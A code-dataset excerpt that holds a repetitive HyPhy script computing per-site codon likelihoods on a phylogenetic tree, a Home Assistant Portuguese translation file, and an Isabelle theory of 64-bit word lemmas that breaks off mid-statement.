assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "481\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 482...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1443,1444,1445", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 482");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "482\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 483...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1446,1447,1448", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 483");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "483\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 484...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1449,1450,1451", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 484");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "484\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 485...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1452,1453,1454", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 485");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "485\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 486...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1455,1456,1457", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 486");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "486\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 487...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1458,1459,1460", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 487");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "487\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 488...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1461,1462,1463", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 488");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "488\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 489...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1464,1465,1466", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 489");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "489\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 490...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1467,1468,1469", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 490");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "490\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 491...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1470,1471,1472", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 491");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "491\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 492...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1473,1474,1475", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 492");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "492\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 493...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1476,1477,1478", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 493");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "493\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 494...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1479,1480,1481", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 494");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "494\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 495...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1482,1483,1484", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 495");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "495\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 496...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1485,1486,1487", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 496");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "496\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 497...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1488,1489,1490", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 497");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "497\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 498...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1491,1492,1493", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 498");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "498\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "Completed HYPHY script hyphy_cmds.bf.\n"); | Brainfuck | 3 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/HyPhy/hyphy_cmds.bf | [
"MIT"
] |
{
"config": {
"abort": {
"missing_configuration": "O componente Home Connect n\u00e3o est\u00e1 configurado. Por favor, siga a documenta\u00e7\u00e3o."
}
}
} | JSON | 2 | domwillcode/home-assistant | homeassistant/components/home_connect/translations/pt-BR.json | [
"Apache-2.0"
] |
(*
* Copyright 2014, NICTA
*
* This software may be distributed and modified according to the terms of
* the BSD 2-Clause license. Note that NO WARRANTY is provided.
* See "LICENSE_BSD2.txt" for details.
*
* @TAG(NICTA_BSD)
*)
section "Lemmas for Word Length 64"
theory Word_Lemmas_64
imports
Word_Lemmas
Word_Setup_64
begin
lemma ucast_8_64_inj:
"inj (ucast :: 8 word \<Rightarrow> 64 word)"
by (rule down_ucast_inj) (clarsimp simp: is_down_def target_size source_size)
lemma upto_2_helper:
"{0..<2 :: 64 word} = {0, 1}"
by (safe; simp) unat_arith
lemmas upper_bits_unset_is_l2p_64 = upper_bits_unset_is_l2p [where 'a=64, folded word_bits_def]
lemmas le_2p_upper_bits_64 = le_2p_upper_bits [where 'a=64, folded word_bits_def]
lemmas le2p_bits_unset_64 = le2p_bits_unset[where 'a=64, folded word_bits_def]
lemma word_bits_len_of:
"len_of TYPE (64) = word_bits"
by (simp add: word_bits_conv)
lemmas unat_power_lower64' = unat_power_lower[where 'a=64]
lemmas unat_power_lower64 [simp] = unat_power_lower64'[unfolded word_bits_len_of]
lemmas word64_less_sub_le' = word_less_sub_le[where 'a = 64]
lemmas word64_less_sub_le[simp] = word64_less_sub_le' [folded word_bits_def]
lemma word_bits_size:
"size (w::word64) = word_bits"
by (simp add: word_bits_def word_size)
lemmas word64_power_less_1' = word_power_less_1[where 'a = 64]
lemmas word64_power_less_1[simp] = word64_power_less_1'[folded word_bits_def]
lemma of_nat64_0:
"\<lbrakk>of_nat n = (0::word64); n < 2 ^ word_bits\<rbrakk> \<Longrightarrow> n = 0"
by (erule of_nat_0, simp add: word_bits_def)
lemma unat_mask_2_less_4:
"unat (p && mask 2 :: word64) < 4"
apply (rule unat_less_helper)
apply (rule order_le_less_trans, rule word_and_le1)
apply (simp add: mask_def)
done
lemmas unat_of_nat64' = unat_of_nat_eq[where 'a=64]
lemmas unat_of_nat64 = unat_of_nat64'[unfolded word_bits_len_of]
lemmas word_power_nonzero_64 = word_power_nonzero [where 'a=64, folded word_bits_def]
lemmas unat_mult_simple = iffD1 [OF unat_mult_lem [where 'a = 64, unfolded word_bits_len_of]]
lemmas div_power_helper_64 = div_power_helper [where 'a=64, folded word_bits_def]
lemma n_less_word_bits:
"(n < word_bits) = (n < 64)"
by (simp add: word_bits_def)
lemmas of_nat_less_pow_64 = of_nat_power [where 'a=64, folded word_bits_def]
lemma lt_word_bits_lt_pow:
"sz < word_bits \<Longrightarrow> sz < 2 ^ word_bits"
by (simp add: word_bits_conv)
lemma unat_less_word_bits:
fixes y :: word64
shows "x < unat y \<Longrightarrow> x < 2 ^ word_bits"
unfolding word_bits_def
by (rule order_less_trans [OF _ unat_lt2p])
lemmas unat_mask_word64' = unat_mask[where 'a=64]
lemmas unat_mask_word64 = unat_mask_word64'[folded word_bits_def]
lemmas word64_minus_one_le' = word_minus_one_le[where 'a=64]
lemmas word64_minus_one_le = word64_minus_one_le'[simplified]
lemma ucast_not_helper:
fixes a::word8
assumes a: "a \<noteq> 0xFF"
shows "ucast a \<noteq> (0xFF::word64)"
proof
assume "ucast a = (0xFF::word64)"
also
have "(0xFF::word64) = ucast (0xFF::word8)" by simp
finally
show False using a
apply -
apply (drule up_ucast_inj, simp)
apply simp
done
qed
lemma less_4_cases:
"(x::word64) < 4 \<Longrightarrow> x=0 \<or> x=1 \<or> x=2 \<or> x=3"
apply clarsimp
apply (drule word_less_cases, erule disjE, simp, simp)+
done
lemma unat_ucast_8_64:
fixes x :: "word8"
shows "unat (ucast x :: word64) = unat x"
unfolding ucast_def unat_def
apply (subst int_word_uint)
apply (subst mod_pos_pos_trivial)
apply simp
apply (rule lt2p_lem)
apply simp
apply simp
done
lemma if_then_1_else_0:
"((if P then 1 else 0) = (0 :: word64)) = (\<not> P)"
by simp
lemma if_then_0_else_1:
"((if P then 0 else 1) = (0 :: word64)) = (P)"
by simp
lemmas if_then_simps = if_then_0_else_1 if_then_1_else_0
lemma ucast_le_ucast_8_64:
"(ucast x \<le> (ucast y :: word64)) = (x \<le> (y :: word8))"
by (simp add: word_le_nat_alt unat_ucast_8_64)
lemma in_16_range:
"0 \<in> S \<Longrightarrow> r \<in> (\<lambda>x. r + x * (16 :: word64)) ` S"
"n - 1 \<in> S \<Longrightarrow> (r + (16 * n - 16)) \<in> (\<lambda>x :: word64. r + x * 16) ` S"
by (clarsimp simp: image_def elim!: bexI[rotated])+
lemma eq_2_64_0:
"(2 ^ 64 :: word64) = 0"
by simp
lemma x_less_2_0_1:
fixes x :: word64 shows
"x < 2 \<Longrightarrow> x = 0 \<or> x = 1"
by (rule x_less_2_0_1') auto
lemmas mask_64_max_word = max_word_mask [symmetric, where 'a=64, simplified]
lemma of_nat64_n_less_equal_power_2:
"n < 64 \<Longrightarrow> ((of_nat n)::64 word) < 2 ^ n"
by (rule of_nat_n_less_equal_power_2, clarsimp simp: word_size)
lemma word_rsplit_0:
"word_rsplit (0 :: word64) = [0, 0, 0, 0, 0, 0, 0, 0 :: word8]"
apply (simp add: word_rsplit_def bin_rsplit_def Let_def)
done
lemma unat_ucast_10_64 :
fixes x :: "10 word"
shows "unat (ucast x :: word64) = unat x"
unfolding ucast_def unat_def
apply (subst int_word_uint)
apply (subst mod_pos_pos_trivial)
apply simp
apply (rule lt2p_lem)
apply simp
apply simp
done
lemma bool_mask [simp]:
fixes x :: word64
shows "(0 < x && 1) = (x && 1 = 1)"
by (rule bool_mask') auto
lemma word64_bounds:
"- (2 ^ (size (x :: word64) - 1)) = (-9223372036854775808 :: int)"
"((2 ^ (size (x :: word64) - 1)) - 1) = (9223372036854775807 :: int)"
"- (2 ^ (size (y :: 64 signed word) - 1)) = (-9223372036854775808 :: int)"
"((2 ^ (size (y :: 64 signed word) - 1)) - 1) = (9223372036854775807 :: int)"
by (simp_all add: word_size)
lemma word_ge_min:"sint (x::64 word) \<ge> -9223372036854775808"
by (metis sint_ge word64_bounds(1) word_size)
lemmas signed_arith_ineq_checks_to_eq_word64'
= signed_arith_ineq_checks_to_eq[where 'a=64]
signed_arith_ineq_checks_to_eq[where 'a="64 signed"]
lemmas signed_arith_ineq_checks_to_eq_word64
= signed_arith_ineq_checks_to_eq_word64' [unfolded word64_bounds]
lemmas signed_mult_eq_checks64_to_64'
= signed_mult_eq_checks_double_size[where 'a=64 and 'b=64]
signed_mult_eq_checks_double_size[where 'a="64 signed" and 'b=64]
lemmas signed_mult_eq_checks64_to_64 = signed_mult_eq_checks64_to_64'[simplified]
lemmas sdiv_word64_max' = sdiv_word_max [where 'a=64] sdiv_word_max [where 'a="64 signed"]
lemmas sdiv_word64_max = sdiv_word64_max'[simplified word_size, simplified]
lemmas sdiv_word64_min' = sdiv_word_min [where 'a=64] sdiv_word_min [where 'a="64 signed"]
lemmas sdiv_word64_min = sdiv_word64_min' [simplified word_size, simplified]
lemmas sint64_of_int_eq' = sint_of_int_eq [where 'a=64]
lemmas sint64_of_int_eq = sint64_of_int_eq' [simplified]
lemma ucast_of_nats [simp]:
"(ucast (of_nat x :: word64) :: sword64) = (of_nat x)"
"(ucast (of_nat x :: word64) :: sword16) = (of_nat x)"
"(ucast (of_nat x :: word64) :: sword8) = (of_nat x)"
"(ucast (of_nat x :: word16) :: sword16) = (of_nat x)"
"(ucast (of_nat x :: word16) :: sword8) = (of_nat x)"
"(ucast (of_nat x :: word8) :: sword8) = (of_nat x)"
by (auto simp: ucast_of_nat is_down)
lemmas signed_shift_guard_simpler_64'
= power_strict_increasing_iff[where b="2 :: nat" and y=31]
lemmas signed_shift_guard_simpler_64 = signed_shift_guard_simpler_64'[simplified]
lemma word64_31_less:
"31 < len_of TYPE (64 signed)" "31 > (0 :: nat)"
"31 < len_of TYPE (64)" "31 > (0 :: nat)"
by auto
lemmas signed_shift_guard_to_word_64
= signed_shift_guard_to_word[OF word64_31_less(1-2)]
signed_shift_guard_to_word[OF word64_31_less(3-4)]
lemma le_step_down_word_3:
fixes x :: "64 word"
